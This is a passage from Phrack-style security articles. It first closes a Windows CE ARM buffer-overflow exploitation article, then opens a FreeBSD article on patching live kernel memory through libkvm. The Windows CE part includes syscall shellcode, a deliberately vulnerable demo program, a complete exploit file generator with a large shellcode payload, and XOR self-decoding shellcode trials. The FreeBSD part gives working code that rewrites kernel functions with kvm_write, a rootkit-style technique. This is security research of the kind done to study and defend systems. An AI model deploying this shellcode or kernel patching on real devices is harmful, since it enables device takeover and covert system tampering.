If the application is in kernel mode, this value will be set with 1,
otherwise it will be 0. All applications of Pocket PC run in kernel mode,
so the system follow by "LDRNE R0, [R4]". In my environment, the R0 got
0x8004B138 which is the ppfnMethods pointer of SystemAPISets[SH_WIN32],
and then it flow to "LDRNE R1, [R0,#0x13C]". Let's look the offset 0x13C
(0x13C/4=0x4F) and corresponding to the index of Win32Methods defined in
PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h:
const PFNVOID Win32Methods[] = {
...
(PFNVOID)SC_PowerOffSystem, // 79
...
};
Well, the R1 got the address of SC_PowerOffSystem which is implemented in
kernel. The instruction "LDREQ R1, =0xF000FEC4" has no effect when the
application run in kernel mode. The address 0xF000FEC4 is system call
which used by user mode. Some APIs use system call directly, such as
SetKMode:
.text:01F756C0 EXPORT SetKMode
.text:01F756C0 SetKMode
.text:01F756C0
.text:01F756C0 var_4 = -4
.text:01F756C0
.text:01F756C0 STR LR, [SP,#var_4]!
.text:01F756C4 LDR R1, =0xF000FE50
.text:01F756C8 MOV LR, PC
.text:01F756CC MOV PC, R1
.text:01F756D0 LDMFD SP!, {PC}
Windows CE doesn't use ARM's SWI instruction to implement system call, it
implements in different way. A system call is made to an invalid address
in the range 0xf0000000 - 0xf0010000, and this causes a prefetch-abort
trap, which is handled by PrefetchAbort implemented in armtrap.s.
PrefetchAbort will check the invalid address first, if it is in trap area
then using ObjectCall to locate the system call and executed, otherwise
calling ProcessPrefAbort to deal with the exception.
There is a formula to calculate the system call address:
0xf0010000-(256*apiset+apinr)*4
The api set handles are defined in PUBLIC\COMMON\SDK\INC\kfuncs.h and
PUBLIC\COMMON\OAK\INC\psyscall.h, and the aipnrs are defined in several
files, for example SH_WIN32 calls are defined in
PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h.
Well, let's calculate the system call of KernelIoControl. The apiset is 0
and the apinr is 99, so the system call is 0xf0010000-(256*0+99)*4 which
is 0xF000FE74. The following is the shellcode implemented by system call:
#include "stdafx.h"
int shellcode[] =
{
0xE59F0014, // ldr r0, [pc, #20]
0xE59F4014, // ldr r4, [pc, #20]
0xE3A01000, // mov r1, #0
0xE3A02000, // mov r2, #0
0xE3A03000, // mov r3, #0
0xE1A0E00F, // mov lr, pc
0xE1A0F004, // mov pc, r4
0x0101003C, // IOCTL_HAL_REBOOT
0xF000FE74, // trap address of KernelIoControl
};
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
((void (*)(void)) & shellcode)();
return 0;
}
It works fine and we don't need search API addresses.
--[ 9 - Windows CE Buffer Overflow Exploitation
The hello.cpp is the demonstration vulnerable program:
// hello.cpp
//
#include "stdafx.h"
int hello()
{
FILE * binFileH;
char binFile[] = "\\binfile";
char buf[512];
if ( (binFileH = fopen(binFile, "rb")) == NULL )
{
printf("can't open file %s!\n", binFile);
return 1;
}
memset(buf, 0, sizeof(buf));
fread(buf, sizeof(char), 1024, binFileH);
printf("%08x %d\n", &buf, strlen(buf));
getchar();
fclose(binFileH);
return 0;
}
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
hello();
return 0;
}
The hello function has a buffer overflow problem. It reads data from the
"binfile" of the root directory to stack variable "buf" by fread().
Because it reads 1KB contents, so if the "binfile" is larger than 512
bytes, the stack variable "buf" will be overflowed.
The printf and getchar are just for test. They have no effect without
console.dll in windows direcotry. The console.dll file is come from
Windows Mobile Developer Power Toys.
ARM assembly language uses bl instruction to call function. Let's look
into the hello function:
6: int hello()
7: {
22011000 str lr, [sp, #-4]!
22011004 sub sp, sp, #0x89, 30
8: FILE * binFileH;
9: char binFile[] = "\\binfile";
...
...
26: }
220110C4 add sp, sp, #0x89, 30
220110C8 ldmia sp!, {pc}
"str lr, [sp, #-4]!" is the first instruction of the hello() function. It
stores the lr register to stack, and the lr register contains the return
address of hello caller. The second instruction prepairs stack memory for
local variables. "ldmia sp!, {pc}" is the last instruction of the hello()
function. It loads the return address of hello caller that stored in the
stack to the pc register, and then the program will execute into WinMain
function. So overwriting the lr register that is stored in the stack will
obtain control when the hello function returned.
The variable's memory address that allocated by program is corresponding
to the loaded Slot, both stack and heap. The process may be loaded into
difference Slot at each start time. So the base address always alters. We
know that the slot 0 is mapped from the current process' slot, so the base
of its stack address is stable.
The following is the exploit of hello program:
/* exp.c - Windows CE Buffer Overflow Demo
*
* san@xfocus.org
*/
#include<stdio.h>
#define NOP 0xE1A01001 /* mov r1, r1 */
#define LR 0x0002FC50 /* return address */
int shellcode[] =
{
0xEB000026,
0xE3A02004,
0xEB00003A,
0xE24DDF89,
0xE28D0008,
0xE58D0000,
0xE3A03002,
0xE3A02000,
0xE28F1F56,
0xE3A0010A,
0xE1A0E00F,
0xE518F00C,
0xE3A00001,
0xE58D000C,
0xE3A03004,
0xE58D3004,
0xE28D100C,
0xE58D1000,
0xE28F1F5F,
0xE59D0008,
0xE1A0E00F,
0xE518F008,
0xE59D0008,
0xE1A0E00F,
0xE518F004,
0xE28F0C01,
0xE5900000,
0xE3A01000,
0xE3A02000,
0xE3A03000,
0xE1A0E00F,
0xE518F010,
0xE0D020B2,
0xE0D130B2,
0xE3520000,
0x03530000,
0x01A0F00E,
0xE1520003,
0x0AFFFFF8,
0xE1A0F00E,
0xE1A0B00E,
0xE28F40BC,
0xE5944000,
0xE3A05FC9,
0xE0845005,
0xE5955000,
0xE1A06005,
0xE3A07000,
0xE5960008,
0xE28F1F45,
0xEBFFFFEC,
0x0596707C,
0x0596808C,
0xE0879008,
0x0A000003,
0xE5966004,
0xE3560000,
0x11560005,
0x1AFFFFF4,
0xE1A00007,
0xE0881007,
0xE1A0F00B,
0xE28F8070,
0xE5914020,
0xE0844000,
0xE3A06000,
0xE4947004,
0xE0877000,
0xE3A0A000,
0xE4D79001,
0xE3590000,
0x0A000001,
0xE089A3EA,
0xEAFFFFFA,
0xE5989000,
0xE15A0009,
0x12866001,
0x1AFFFFF3,
0xE5915024,
0xE0855000,
0xE0866006,
0xE19590B6,
0xE591501C,
0xE0855000,
0xE7959109,
0xE0899000,
0xE4889004,
0xE2522001,
0x1AFFFFE5,
0xE1A0F00E,
0xFFFFC800,
0x0101003C,
0x283A9DE7,
0x0BF7DF51,
0xD8C0FEC0,
0x0E511783,
0x004F0053,
0x00540046,
0x00410057,
0x00450052,
0x005C005C,
0x00690057,
0x00630064,
0x006D006F,
0x005C006D,
0x0042005C,
0x00430074,
0x006E006F,
0x00690066,
0x005C0067,
0x0047005C,
0x006E0065,
0x00720065,
0x006C0061,
0x00000000,
0x00740053,
0x00630061,
0x004D006B,
0x0064006F,
0x00000065,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
};
/* prints a long to a string */
char* put_long(char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}
int main()
{
FILE * binFileH;
char binFile[] = "binfile";
char buf[544];
char *ptr;
int i;
if ( (binFileH = fopen(binFile, "wb")) == NULL )
{
printf("can't create file %s!\n", binFile);
return 1;
}
memset(buf, 0, sizeof(buf)-1);
ptr = buf;
for (i = 0; i < 4; i++) {
ptr = put_long(ptr, NOP);
}
memcpy(buf+16, shellcode, sizeof(shellcode));
put_long(ptr-16+540, LR);
fwrite(buf, sizeof(char), 544, binFileH);
fclose(binFileH);
}
We choose a stack address of slot 0, and it points to our shellcode. It
will overwrite the return address that stored in the stack. We can also
use a jump address of virtual memory space of the process instead of. This
exploit produces a "binfile" that will overflow the "buf" variable and the
return address that stored in the stack.
After the binfile copied to the PDA, the PDA restarts and open the
bluetooth when the hello program is executed. That's means the hello
program flowed to our shellcode.
While I changed another method to construct the exploit string, its as
following:
pad...pad|return address|nop...nop...shellcode
And the exploit produces a 1KB "binfile". But the PDA is freeze when the
hello program is executed. It was confused, I think maybe the stack of
Windows CE is small and the overflow string destroyed the 2KB guard on the
top of stack. It is freeze when the program call a API after overflow
occurred. So, we must notice the features of stack while writing exploit
for Windows CE.
EVC has some bugs that make debug difficult. First, EVC will write some
arbitrary data to the stack contents when the stack releases at the end of
function, so the shellcode maybe modified. Second, the instruction at
breakpoint maybe change to 0xE6000010 in EVC while debugging. Another bug
is funny, the debugger without error while writing data to a .text address
by step execute, but it will capture a access violate exception by execute
directly.
--[ 10 - About Decoding Shellcode
The shellcode we talked above is a concept shellcode which contains lots
of zeros. It executed correctly in this demonstrate program, but some other
vulnerable programs maybe filter the special characters before buffer
overflow in some situations. For example overflowed by strcpy, the
shellcode will be cut by the zero.
It is difficult and inconvenient to write a shellcode without special
characters by API search method. So we think about the decoding shellcode.
Decoding shellcode will convert the special characters to fit characters
and make the real shellcode more universal.
The newer ARM processor(such as arm9 and arm10) has a Harvard architecture
which separates instruction cache and data cache. This feature will
improve the performance of processor, and most of RISC processors have
this feature. But the self-modifying code is not easy to implement,
because it will puzzled by the caches and the processor implementation
after being modified.
Let's look at the following code first:
#include "stdafx.h"
int weird[] =
{
0xE3A01099, // mov r1, #0x99
0xE5CF1020, // strb r1, [pc, #0x20]
0xE5CF1020, // strb r1, [pc, #0x20]
0xE5CF1020, // strb r1, [pc, #0x20]
0xE5CF1020, // strb r1, [pc, #0x20]
0xE1A01001, // mov r1, r1 ; pad
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE3A04001, // mov r4, #0x1
0xE3A03001, // mov r3, #0x1
0xE3A02001, // mov r2, #0x1
0xE3A01001, // mov r1, #0x1
0xE6000010, // breakpoint
};
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
((void (*)(void)) & weird)();
return 0;
}
That four strb instructions will change the immediate value of the below
mov instructions to 0x99. It will break at that inserted breakpoint while
executing this code in EVC debugger directly. The r1-r4 registers got 0x99
in S3C2410 which is a arm9 core processor. It needs more nop instructions
to pad after modified to let the r1-r4 got 0x99 while I tested this code
in my friend's PDA which has a Intel Xscale processor. I think the reason
maybe is that the arm9 has 5 pipelines and the arm10 has 6 pipelines. Well
, I changed it to another method:
0xE28F3053, // add r3, pc, #0x53
0xE3A01010, // mov r1, #0x10
0xE7D32001, // ldrb r2, [r3, +r1]
0xE2222088, // eor r2, r2, #0x88
0xE7C32001, // strb r2, [r3, +r1]
0xE2511001, // subs r1, r1, #1
0x1AFFFFFA, // bne 28011008
//0xE1A0100F, // mov r1, pc
//0xE3A02020, // mov r2, #0x20
//0xE3A03D05, // mov r3, #5, 26
//0xEE071F3A, // mcr p15, 0, r1, c7, c10, 1 ; clean and invalidate each entry
//0xE0811002, // add r1, r1, r2
//0xE0533002, // subs r3, r3, r2
//0xCAFFFFFB, // bgt |weird+28h (30013058)|
//0xE0211001, // eor r1, r1, r1
//0xEE071F9A, // mcr p15, 0, r1, c7, c10, 4 ; drain write buffer
//0xEE071F15, // mcr p15, 0, r1, c7, c5, 0 ; flush the icache
0xE1A01001, // mov r1, r1 ; pad
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0xE1A01001,
0x6B28C889, // mov r4, #0x1 ; encoded
0x6B28B889, // mov r3, #0x1
0x6B28A889, // mov r2, #0x1
0x6B289889, // mov r1, #0x1
0xE6000010, // breakpoint
The four mov instructions were encoded by Exclusive-OR with 0x88, the
decoder has a loop to load a encoded byte and Exclusive-OR it with 0x88
and then stored it to the original position. The r1-r4 registers won't get
0x1 even you put a lot of pad instructions after decoded in both arm9 and
arm10 processors. I think maybe that the load instruction bring on a cache
problem.
ARM Architecture Reference Manual has a chapter to introduce how to deal
with self-modifying code. It says the caches will be flushed by an
operating system call. Phil, the guy from 0dd shared his experience to me.
He said he's used this method successful on ARM system(I think his
environment maybe is Linux). Well, this method is successful on AIX PowerPC
and Solaris SPARC too(I've tested it). But SWI implements in a different
way under Windows CE. The armtrap.s contains implementation of SWIHandler
which does nothing except 'movs pc,lr'. So it has no effect after decode
finished.
Because Pocket PC's applications run in kernel mode, so we have privilege
to access the system control coprocessor. ARM Architecture Reference
Manual introduces memory system and how to handle cache via the system
control coprocessor. After looked into this manual, I tried to disable the
instruction cache before decode:
mrc p15, 0, r1, c1, c0, 0
bic r1, r1, #0x1000
mcr p15, 0, r1, c1, c0, 0
But the system freezed when the mcr instruction executed. Then I tried to
invalidate entire instruction cache after decoded:
eor r1, r1, r1
mcr p15, 0, r1, c7, c5, 0
But it has no effect too.
--[ 11 - Conclusion
The codes talked above are the real-life buffer overflow example on
Windows CE. It is not perfect, but I think this technology will be improved
in the future.
Because of the cache mechanism, the decoding shellcode is not good enough.
Internet and handset devices are growing quickly, so threats to the PDAs
and mobiles become more and more serious. And the patch of Windows CE is
more difficult and dangerous than the normal Windows system to customers.
Because the entire Windows CE system is stored in the ROM, if you want to
patch the system flaws, you must flush the ROM, And the ROM images of
various vendors or modes of PDAs and mobiles aren't compatible.
--[ 12 - Greetings
Special greets to the dudes of XFocus Team, my girlfriend, the life will
fade without you.
Special thanks to the Research Department of NSFocus Corporation, I love
this team.
And I'll show my appreciation to 0dd members, Nasiry and Flier too, the
discussions with them were nice.
--[ 13 - References
[1] ARM Architecture Reference Manual
http://www.arm.com
[2] Windows CE 4.2 Source Code
http://msdn.microsoft.com/embedded/windowsce/default.aspx
[3] Details Emerge on the First Windows Mobile Virus
- Cyrus Peikari, Seth Fogie, Ratter/29A
http://www.informit.com/articles/article.asp?p=337071
[4] Pocket PC Abuse - Seth Fogie
http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-fogie/bh-us-04-fogie-up.pdf
[5] misc notes on the xda and windows ce
http://www.xs4all.nl/~itsme/projects/xda/
[6] Introduction to Windows CE
http://www.cs-ipv6.lancs.ac.uk/acsp/WinCE/Slides/
[7] Nasiry 's way
http://www.cnblogs.com/nasiry/
[8] Programming Windows CE Second Edition - Doug Boling
[9] Win32 Assembly Components
http://LSD-PL.NET
|=[ EOF ]=--------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x07 of 0x14
|=-------=[ Playing Games With Kernel Memory ... FreeBSD Style ]=--------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ Joseph Kong <jkong01@gmail.com> ]=-----------------=|
|=--------------------------=[ July 8, 2005 ]=---------------------------=|
--[ Contents
1.0 - Introduction
2.0 - Finding System Calls
3.0 - Understanding Call Statements And Bytecode Injection
4.0 - Allocating Kernel Memory
5.0 - Putting It All Together
6.0 - Concluding Remarks
7.0 - References
--[ 1.0 - Introduction
The kernel memory interface or kvm interface was first introduced in
SunOS. Although it has been around for quite some time, many people still
consider it to be rather obscure. This article documents the basic usage
of the Kernel Data Access Library (libkvm), and will explore some ways to
use libkvm (/dev/kmem) in order to alter the behavior of a running FreeBSD
system.
FreeBSD kernel hacking skills of a moderate level (i.e. you know how to
use ddb), as well as a decent understanding of C and x86 Assembly (AT&T
Syntax) are required in order to understand the contents of this article.
This article was written from the perspective of a FreeBSD 5.4 Stable
System.
Note: Although the techniques described in this article have been explored
in other articles (see References), they are always from a Linux or Windows
perspective. I personally only know of one other text that touches on the
information contained herein. That text entitled "Fun and Games with
FreeBSD Kernel Modules" by Stephanie Wehner explained some of the things
one can do with libkvm. Considering the fact that one can do much more,
and that documentation regarding libkvm is scarce (man pages and source
code aside), I decided to write this article.
--[ 2.0 - Finding System Calls
Note: This section is extremely basic, if you have a good grasp of the
libkvm functions read the next paragraph and skip to the next section.
Stephanie Wehner wrote a program called checkcall, which would check if
sysent[CALL] had been tampered with, and if so would change it back to the
original function. In order to help with the debugging during the latter
sections of this article, we are going to make use of checkcall's find
system call functionality. Following is a stripped down version of
checkcall, with just the find system call function. It is also a good
example to learn the basics of libkvm from. A line by line explanation of
the libkvm functions appears after the source code listing.
find_syscall.c:
/*
* Takes two arguments: the name of a syscall and corresponding number,
* and reports the location in memory where the syscall is located.
*
* If you enter the name of a syscall with an incorrect syscall number,
* the output will be fubar. Too lazy to implement a check
*
* Based off of Stephanie Wehner's checkcall.c,v 1.1.1.1
*
* find_syscall.c,v 1.0 2005/05/20
*/
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/sysent.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
u_int32_t addr;
int callnum;
struct sysent call;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
/* Check for the correct number of arguments */
if(argc != 3) {
printf("Usage:\n%s <name of system call> <syscall number>"
" \n\n", argv[0]);
printf("See /usr/src/sys/sys/syscall.h for syscall numbers"
" \n");
exit(0);
}
/* Find the syscall */
nl[0].n_name = "sysent";
nl[1].n_name = argv[1];
callnum = atoi(argv[2]);
printf("Finding syscall %d: %s\n\n", callnum, argv[1]);
/* Initialize kernel virtual memory access */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
/* Find the addresses */
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if(!nl[0].n_value) {
fprintf(stderr, "ERROR: %s not found (fubar?)\n"
, nl[0].n_name);
exit(-1);
}
else {
printf("%s is 0x%x at 0x%x\n", nl[0].n_name, nl[0].n_type
, nl[0].n_value);
}
if(!nl[1].n_value) {
fprintf(stderr, "ERROR: %s not found\n", nl[1].n_name);
exit(-1);
}
/* Calculate the address */
addr = nl[0].n_value + callnum * sizeof(struct sysent);
/* Print out location */
if(kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
else {
printf("sysent[%d] is at 0x%x and will execute function"
" located at 0x%x\n", callnum, addr, call.sy_call);
}
if(kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
There are five functions from libkvm that are included in the above
program; they are:
kvm_openfiles
kvm_nlist
kvm_geterr
kvm_read
kvm_close
kvm_openfiles:
Basically kvm_openfiles initializes kernel virtual memory access, and
returns a descriptor to be used in subsequent kvm library calls. In
find_syscall the syntax was as follows:
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
kd is used to store the returned descriptor, if after the call kd
equals NULL then an error has occurred.
The first three arguments correspond to const char *execfile, const
char *corefile, and const char *swapfiles respectively. However for our
purposes they are unnecessary, hence NULL. The fourth argument indicates
that we want read/write access. The fifth argument indicates which buffer
to place any error messages, more on that later.
kvm_nlist:
The man page states that kvm_nlist retrieves the symbol table entries
indicated by the name list argument (struct nlist). The members of struct
nlist that interest us are as follows:
char *n_name; /* symbol name (in memory) */
unsigned long n_value; /* address of the symbol */
Prior to calling kvm_nlist in find_syscall a struct nlist array was
setup as follows:
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
nl[0].n_name = "sysent";
nl[1].n_name = argv[1];
The syntax for calling kvm_nlist is as follows:
kvm_nlist(kd, nl)
What this did was fill out the n_value member of each element in the
array nl with the starting address in memory corresponding to the value in
n_name. In other words we now know the location in memory of sysent and the
user supplied syscall (argv[1]). nl was initialized with three elements
because kvm_nlist expects as its second argument a NULL terminated array of
nlist structures.
kvm_geterr:
As stated in the man page this function returns a string describing the
most recent error condition. If you look through the above source code
listing you will see kvm_geterr gets called after every libkvm function,
except kvm_openfiles. kvm_openfiles uses its own unique form of error
reporting, because kvm_geterr requires a descriptor as an argument, which
would not exist if kvm_openfiles has not been called yet. An example usage
of kvm_geterr follows:
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
kvm_read:
This function is used to read kernel virtual memory. In find_syscall
the syntax was as follows:
kvm_read(kd, addr, &call, sizeof(struct sysent))
The first argument is the descriptor. The second is the address to
begin reading from. The third argument is the user-space location to store
the data read. The fourth argument is the number of bytes to read.
kvm_close:
This function breaks the connection between the pointer and the kernel
virtual memory established with kvm_openfiles. In find_syscall this
function was called as follows:
kvm_close(kd)
The following is an algorithmic explanation of find_syscall.c:
1. Check to make sure the user has supplied a syscall name and
number. (No error checking, just checks for two arguments)
2. Setup the array of nlist structures appropriately.
3. Initialize kernel virtual memory access. (kvm_openfiles)
4. Find the address of sysent and the user supplied syscall.
(kvm_nlist)
5. Calculate the location of the syscall in sysent.
6. Copy the syscall's sysent structure from kernel-space to
user-space. (kvm_read)
7. Print out the location of the syscall in the sysent structure
and the location of the executed function.
8. Close the descriptor (kvm_close)
In order to verify that the output of find_syscall is accurate, one can
make use of ddb as follows:
Note: The output below was modified in order to meet the 75 character per
line requirement.
[---------------------------------------------------------]
ghost@slavetwo:~#ls
find_syscall.c
ghost@slavetwo:~#gcc -o find_syscall find_syscall.c -lkvm
ghost@slavetwo:~#ls
find_syscall find_syscall.c
ghost@slavetwo:~#sudo ./find_syscall
Password:
Usage:
./find_syscall <name of system call> <syscall number>
See /usr/src/sys/sys/syscall.h for syscall numbers
ghost@slavetwo:~#sudo ./find_syscall mkdir 136
Finding syscall 136: mkdir
sysent is 0x4 at 0xc06dc840
sysent[136] is at 0xc06dcc80 and will execute function located at
0xc0541900
ghost@slavetwo:~#KDB: enter: manual escape to debugger
[thread pid 12 tid 100004 ]
Stopped at kdb_enter+0x32: leave
db> examine/i 0xc0541900
mkdir: pushl %ebp
db>
mkdir+0x1: movl %esp,%ebp
db> c
ghost@slavetwo:~#
[---------------------------------------------------------]
--[ 3.0 - Understanding Call Statements And Bytecode Injection
In x86 Assembly a Call statement is a control transfer instruction,
used to call a procedure. There are two types of Call statements Near and
Far, for the purposes of this article one only needs to understand a Near
Call. The following code illustrates the details of a Near Call statement
(in Intel Syntax):
0200 BB1295 MOV BX,9512
0203 E8FA00 CALL 0300
0206 B82F14 MOV AX,142F
In the above code snippet, when the IP (Instruction Pointer) gets to
0203 it will jump to 0300. The hexadecimal representation for CALL is E8,
however FA00 is not 0300. 0x300 - 0x206 = 0xFA. In a near call the IP
address of the instruction after the Call is saved on the stack, so the
called procedure knows where to return to. This explains why the operand
for Call in this example is 0xFA00 and not 0x300. This is an important
point and will come into play later.
One of the more entertaining things one can do with the libkvm
functions is patch kernel virtual memory. As always we start with a very
simple example ... Hello World! The following is a kld which adds a
syscall that functions as a Hello World! program.
hello.c:
/*
* Prints "FreeBSD Rox!" 10 times
*
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/*
* The function for implementing the syscall.
*/
static int
hello (struct thread *td, void *arg)
{
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
printf ("FreeBSD Rox!\n");
return 0;
}
/*
* The `sysent' for the new syscall
*/
static struct sysent hello_sysent = {
0, /* sy_narg */
hello /* sy_call */
};
/*
* The offset in sysent where the syscall is allocated.
*/
static int offset = 210;
/*
* The function called at load/unload.
*/
static int
load (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
printf ("syscall loaded at %d\n", offset);
break;
case MOD_UNLOAD :
printf ("syscall unloaded from %d\n", offset);
break;
default :
error = EOPNOTSUPP;
break;
}
return error;
}
SYSCALL_MODULE(hello, &offset, &hello_sysent, load, NULL);
The following is the user-space program for the above kld:
interface.c:
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
int main(int argc, char **argv) {
return syscall(210);
}
If we compile the above kld using a standard Makefile, load it, and
then run the user-space program, we get some very annoying output. In order
to make this syscall less annoying we can use the following program. As
before an explanation of any new functions and concepts appears after the
source code listing.
test_call.c:
/*
* Test understanding of call statement:
* Operand for call statement is the difference between the called function
* and the address of the instruction following the call statement.
*
* Tested on syscall hello. Normally prints out "FreeBSD Rox!" 10 times,
* after patching only prints it out once.
*
* test_call.c,v 2.1 2005/06/15
*/
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
/*
* Offset of string to be printed
* Starting at the beginning of the syscall hello
*/
#define OFFSET_1 0xed
/*
* Offset of instruction following call statement
*/
#define OFFSET_2 0x12
/*
* Replacement code
*/
unsigned char code[] =
"\x55" /* push %ebp */
"\x89\xe5" /* mov %esp,%ebp */
"\x83\xec\x04" /* sub $0x4,%esp */
"\xc7\x04\x24\x00\x00\x00\x00" /* movl $0,(%esp) */
"\xe8\x00\x00\x00\x00" /* call printf */
"\xc9" /* leave */
"\x31\xc0" /* xor %eax,%eax */
"\xc3" /* ret */
"\x8d\xb4\x26\x00\x00\x00\x00" /* lea 0x0(%esi),%esi */
"\x8d\xbc\x27\x00\x00\x00\x00"; /* lea 0x0(%edi),%edi */
int main(int argc, char *argv[]) {
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
u_int32_t offset_1;
u_int32_t offset_2;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
/* Initialize kernel virtual memory access */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
/* Find the address of hello and printf */
nl[0].n_name = "hello";
nl[1].n_name = "printf";
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if(!nl[0].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n"
, nl[0].n_name);
exit(-1);
}
if(!nl[1].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n"
, nl[1].n_name);
exit(-1);
}
/* Calculate the correct offsets */
offset_1 = nl[0].n_value + OFFSET_1;
offset_2 = nl[0].n_value + OFFSET_2;
/* Set the code to contain the correct addresses */
*(unsigned long *)&code[9] = offset_1;
*(unsigned long *)&code[14] = nl[1].n_value - offset_2;
/* Patch hello */
if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
printf("Luke, I am your father!\n");
/* Close kd */
if(kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
The only libkvm function that is included in the above program that
hasn't been discussed before is kvm_write.
kvm_write:
This function is used to write to kernel virtual memory. In test_call
the syntax was as follows:
kvm_write(kd, nl[0].n_value, code, sizeof(code))
The first argument is the descriptor. The second is the address to
begin writing to. The third argument is the user-space location to read
from. The fourth argument is the number of bytes to read.
The replacement code (bytecode) in test_call was generated with help of
objdump.
[---------------------------------------------------------]
ghost@slavetwo:~#objdump -DR hello.ko | less
hello.ko: file format elf32-i386-freebsd
Disassembly of section .hash:
00000094 <.hash>:
94: 11 00 adc %eax,(%eax)
96: 00 00 add %al,(%eax)
OUTPUT SNIPPED
Disassembly of section .text:
00000500 <hello>:
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 83 ec 04 sub $0x4,%esp
506: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp)
509: R_386_RELATIVE *ABS*
50d: e8 fc ff ff ff call 50e <hello+0xe>
50e: R_386_PC32 printf
512: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp)
515: R_386_RELATIVE *ABS*
519: e8 fc ff ff ff call 51a <hello+0x1a>
51a: R_386_PC32 printf
51e: c7 04 24 ed 05 00 00 movl $0x5ed,(%esp)
521: R_386_RELATIVE *ABS*
525: e8 fc ff ff ff call 526 <hello+0x26>
526: R_386_PC32 printf
OUTPUT SNIPPED
57e: c9 leave
57f: 31 c0 xor %eax,%eax
581: c3 ret
582: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
589: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
[---------------------------------------------------------]
Note: Your output may vary depending on your compiler version and flags.
Comparing the output of the text section with the bytecode in test_call
one can see that they are essentially the same, minus setting up nine more
calls to printf. An important item to take note of is when objdump reports
something as being relative. In this case two items are; movl $0x5ed,(%esp)
(sets up the string to be printed) and call printf. Which brings us to ...
In test_call there are two #define statements, they are:
#define OFFSET_1 0xed
#define OFFSET_2 0x12
The first represents the address of the string to be printed relative
to the beginning of syscall hello (the number is derived from the output of
objdump). While the second represents the offset of the instruction
following the call to printf in the bytecode. Later on in test_call there
are these four statements:
/* Calculate the correct offsets */
offset_1 = nl[0].n_value + OFFSET_1;
offset_2 = nl[0].n_value + OFFSET_2;
/* Set the code to contain the correct addresses */
*(unsigned long *)&code[9] = offset_1;
*(unsigned long *)&code[14] = nl[1].n_value - offset_2;
From the comments it should be obvious what these four statements do.
code[9] is the section in bytecode where the address of the string to be
printed is stored. code[14] is the operand for the call statement; address
of printf - address of the next statement.
The following is the output before and after running test_call:
[---------------------------------------------------------]
ghost@slavetwo:~#ls
Makefile hello.c interface.c test_call.c
ghost@slavetwo:~#make
Warning: Object directory not changed from original /usr/home/ghost
@ -> /usr/src/sys
machine -> /usr/src/sys/i386/include
OUTPUT SNIPPED
J% objcopy % hello.kld
